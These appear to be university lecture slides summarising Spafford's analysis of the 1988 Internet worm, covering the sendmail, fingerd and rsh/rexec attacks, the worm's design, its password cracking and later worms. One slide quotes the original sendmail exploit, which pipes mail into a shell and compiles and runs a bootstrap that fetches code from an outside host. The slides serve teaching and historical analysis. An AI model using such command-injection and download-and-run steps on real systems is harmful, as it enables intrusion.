The document provides an overview of the 1988 Internet worm, including: - How it exploited vulnerabilities in sendmail, fingerd, and rsh/rexec to spread. - Its architecture, including population control mechanisms, password cracking, and infection procedures. - Current internet worms continue to pose threats by spreading malware via vulnerabilities in services like IIS, Apache, and FTP daemons.

1. Eugene H. Spafford, "The Internet Worm
Program: An Analysis"
Presented by Petko Bakalov
University of California - Riverside
pbakalov@cs.ucr.edu

2. Roadmap
• Introduction
• Worm Description
– Security Holes Exploited
– Design of the worm
• Proposed defense
• Current state
• Discussion

3. Resent e-mail
Subject: [Staff] URGENT - Email Mass Mailing Virus hitting UCR
Date: Mon, 26 Jan 2004 16:04:48 -0800
From: Phyllis Bruce <phyllis.bruce@ucr.edu>
To: staff@scotmail.ucr.edu
To All Staff: Urgent - a mass mailing worm has hit the internet today as
many of you may now know, the name of it according to McAfee is
W32/Mydoom@MM. Currently, McAfee AntiVirus has detected the
type of virus threat, here is the information we have learned so far:

4. Definition - What is Worm
• Self propagating/replicating code that uses infected host as a platform
to attack other systems
• Can spread fast causing epidemic-like outbreaks that wreak havoc on
networks and hosts

5. Black Thursday - Chronology I
11/2:18:00 (approx.) This date and time of worm files found on
prep.ai.mit.edu, a VAX 11/750 at the MIT Artificial Intelligence
Lab. It is supposed that the attack began from here
11/2:18:24 rand.org at Rand Corp. in Santa Monica - First known
West Coast infection.
11/2: 20:49 cs.utah.edu is infected. The machine is VAX 8600.
Several hours after the infection the load average of the server
reached 16. Typically at this time it is between 0.5 and 2.

6. Black Thursday - Chronology II
11/2: 23:28 Peter Yee at NASA Ames Research Center suggests
turning off telnet, ftp, finger, rsh and SMTP services.
11/3: 02:54 Keith Bostic sends a fix for sendmail to the newsgroup
comp.bugs.4bsd.ucb-fixes and to the TCP-IP mailing list.
11/3 :15:00 (approx.) The team at MIT Athena calls Berkeley with
an example of how the finger server bug works.
11/4: 12:36 MIT and Berkeley have completely disassembled the
worm

7. Security Holes Exploited
The basic object of the worm is to get a shell on another machine
so it can reproduce further. Tree ways of attack:
sendmail.
fingerd.
rsh/rexec.

8. Sendmail attack - I
Door resulted from two distinct 'features' that, although innocent
by themselves, were deadly when combined.
sendmail permits mail to be delivered to processes instead of
mailbox files
sendmail is compiled with the DEBUG flag, and it permits
sender to pass in a command sequence instead of a user name
for a recipient.
The worm opens a TCP connection to victim's sendmail, invokes
debug mode, and sends a RCPT TO that requests its data be piped
through a shell. That data, a shell script (first-stage bootstrap)
creates and compiles temporary second-stage bootstrap - C
program. This C program sucks the object files from the attacking
host and compiles them.

9. Sendmail attack - II
debug
mail from: </dev/null>
rcpt to: <"|sed -e ’1,/^$/’d | /bin/sh ; exit 0">
data
cd /usr/tmp
cat > x14481910.c <<’EOF’
[text of vector program—second-stage bootstrap ]
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341
8712440;
rm -f x14481910 x14481910.c
.
quit

10. Finger attack - I
Finger reports information about a user on a host - it reads a
request from the originating host, then runs the local finger
program with the request as an argument and ships the output
back.
The finger server reads the remote request with gets() which does
not check for overflow of the buffer. The worm supplies the finger
server with a request that is bigger than the buffer and in this way
write over the server's stack frame for the main routine.
On a VAX, the worm knew how much further from the stack it had
to clobber to get command to be executed "/usr/ucb/finger", which
it replaced with the command "/bin/sh" . So instead of the finger
command being executed, a shell was started.

11. Finger attack - II

12. Rsh rexec attack
Rsh and rexec are network services which offer remote command
interpreters. Rexec uses password authentication; rsh relies on a
"privileged" originating port and permissions files.
The worm exploit two types of vulnerabilities
likelihood that both accounts on the remote and on the local
machines will have the same password
likelihood that a remote account will include the local host in
its rsh permissions files
There are some files in the local host exploited by the worm
forward - contains an address to which mail is forwarded
rhosts - list of hosts on those hosts which are granted
permission to access the local machine with rsh

13. Worm architecture - doit
Setup state of the worm
initializations
change its name
initialize the worm's list of network interfaces
defense
turns off core dumps
zeroes out its argument list
cleanup
arranges to die when remote connections fail
removes each file after it reads it.
Call doit function

14. Worm architecture - doit
doit()
{
seed the random number generator with the time
attack hosts: gateways, local nets, remote nets
checkother();
send message();
for (;;)
{
cracksome();
other_sleep(30);
cracksome();
change our process ID
attack hosts: gateways, known hosts,local nets
other_sleep(120);
if (12 hours have passed)
reset hosts table
if (pleasequit && nextw > 10)
exit(0);
}
}

15. Worm architecture - doit
checkother() - check for another worm already on the local
machine.
send_message() - odd routine intended to cause 1 in 15 copies to
send a message to a port on the host ernie.berkeley.edu
cracksome() - password cracking
other_sleep() - communication with another worm
If 12 hours have passed and the worm is still alive it reinitializes
its table of hosts
At the end of the main loop the worm checks to see if it is
scheduled to die as a result of its population control features, and if
it is, and if it has done a sufficient amount of work cracking
passwords, it exits.

16. Worm architecture - population control
The worm contains a mechanism that was designed to limit the
number of copies of the worm running on a given system.
This system clearly does not prevent a system from being
overloaded
The worm uses a client-and-server technique to control the number
of copies executing on the current machine. It uses TCP port
23357 on the local host. In the beginning the worm tries to connect
to this port.
If it is not successful this means that there is no other worm on
the same machine. The worm becomes server.
Otherwise there is another worm in this machine.

17. Worm architecture - population control
If there is another worm client exchanges magic numbers with the
server as a trivial form of authentication and the client and the
server roll dice to see who gets to survive
The loser sets a flag pleasequit in order to exit at the bottom of the
main loop.
One culprit is the 1 in 7 test in checkother(): worms that skip the
client phase become immortal, and thus don't risk being eliminated
by a roll of the dice.
Thus the worm finishes the population game in one of three states:
scheduled to die after some time, with pleasequit set;
running as a server, with the possibility of losing the game later
immortal, safe from the gamble of population control.

18. Worm architecture - Choosing new targets
One of the characteristics of the worm is that all of its attacks are
active - do not depend on user to propagate.
There is distinct list of priorities when hunting for hosts
Its favorite hosts are gateways; the hg() routine tries to infect
each of the hosts it believes to be gateways.
the worm's next priority is hosts whose names were found in a
scan of system files
etc/hosts.equiv - contains names of hosts to which the local
host grants user permissions without authentication
rhosts - which contains names of hosts from which the
local host permits remote privileged logins

19. Worm architecture - Choosing new targets
forward files - list hosts to which mail is forwarded from
the current host
worm starts looking for hosts that aren't recorded in files.
hl() checks local networks: it runs through the local host's
addresses, masking off the host part and substituting a
random value.
ha() does the same job for remote hosts, checking alternate
addresses of gateways.

20. Worm architecture - Infection procedure
The worm uses two favorite routines when it decides that it wants
to infect a host.
infect() is used from host scanning routines. This routine first
checks that it isn't infecting the local machine, an already
infected machine or a machine previously attacked but not
successfully infected. It uses "infected" and "immune" states.
Then comes a series of attacks:
rsh from the account that the worm is running under,
finger
sendmail.

21. Worm architecture - Infection procedure
The other infection routine is named hul() and it is run from
the password cracking code after a password has been guessed.
potential remote user name is available from a .forward or
.rhosts file
If a remote user name is unavailable the worm uses the
local user name
it contacts the rexec server on the target host and tries to
authenticate itself
If it can, it proceeds to the bootstrap phase
If not - it tries reverse rexec to the host

22. Worm architecture - Infection procedure
Both infect() and hul() use a routine sendworm() -
looks for the ll.c bootstrap source file in its objects list
uses the makemagic() routine to get a communication stream
endpoint (a socket), a random network port number to
rendezvous at, and a magic number for authentication.
Sends across the bootstrap source. The bootstrap source is
compiled and run on the remote system
When a connection is successful, the worm ships all of its files
across
It pauses four seconds to let a command interpreter start on the
remote side, then it issues commands to create a new worm.

23. Worm architecture - Password cracking
Guessing passwords. The worm's password guessing is driven by a
little 4-state machine. The first state gathers password data, while
the remaining states represent increasingly less likely sources of
potential passwords.
crack_0() collect information about hosts and accounts.
crack_1() looks for trivially broken passwords (the account
name, the account name concatenated with itself, the first name
)
crack_2(). In this state the worm compares a list of favorite
passwords
crack_3(). It opens the UNIX online dictionary /usr/dict/words
and goes through it one word at a time.

24. Worm architecture - Password cracking
Faster password encryption. The worm's crypt() algorithm appears
to be a compromise between time and space.
Advantages of the worm encryption :
worm's algorithm to use bit-field and shift operations on the
password data
precomputing shifts and masks
The biggest performance improvement comes as a result of
combining permutations: the worm uses expanded arrays
which are indexed by groups of bits rather than the single bits
used by the standard algorithm

25. Worm architecture - Password cracking
Result: The worm's version of the UNIX crypt() routine ran more
than 9 times faster than the standard version when it was tested
VAX 8600. While the standard crypt() takes 54 seconds to encrypt
271 passwords on our 8600 (the number of passwords actually
contained in our password file), the worm's crypt() takes less than
6 seconds.

26. Worm architecture - Defense
How can system administrators defend against fast
implementations of crypt()? One suggestion that has been
introduced is the idea of shadow password files. In this scheme,
the encrypted passwords are hidden rather than public, forcing a
cracker to either
break a privileged account
use the host's CPU and (slow) encryption algorithm to attack,
with the added danger that password test requests could be
logged and password cracking discovered.

27. Current status
Purposes Vary:
•Denial of Service: CodeRed
•Backdoor: CodeRedII left the system up for grabs
•Replace/Remail: Nimda replaced common file types
•Nothing: Kournikova spread to everyone you know
•Anything: arbitrary code means arbitrary code
An Ongoing Threat
•Windows:
• CodeRed (IIS), CodeRedII(IIS), Klez(OL),
ILoveYou(OL), Magistr(OL), AnnaKournikova(OL),
SirCam...
•Linux:
• Slapper (Apache), Ramen(wu-ftpd+), Lion(bind)...

28. References
The Internet Worm Program: An Analysis Eugene H. Spafford
Remembering the Net Crash of ‘88 Bob Sullivan
A Tour of the Worm Donn Seeley
A report on internet worm Bob Page

29. Discussion
•Why the worm reproduces so quickly that it could swamp
machine?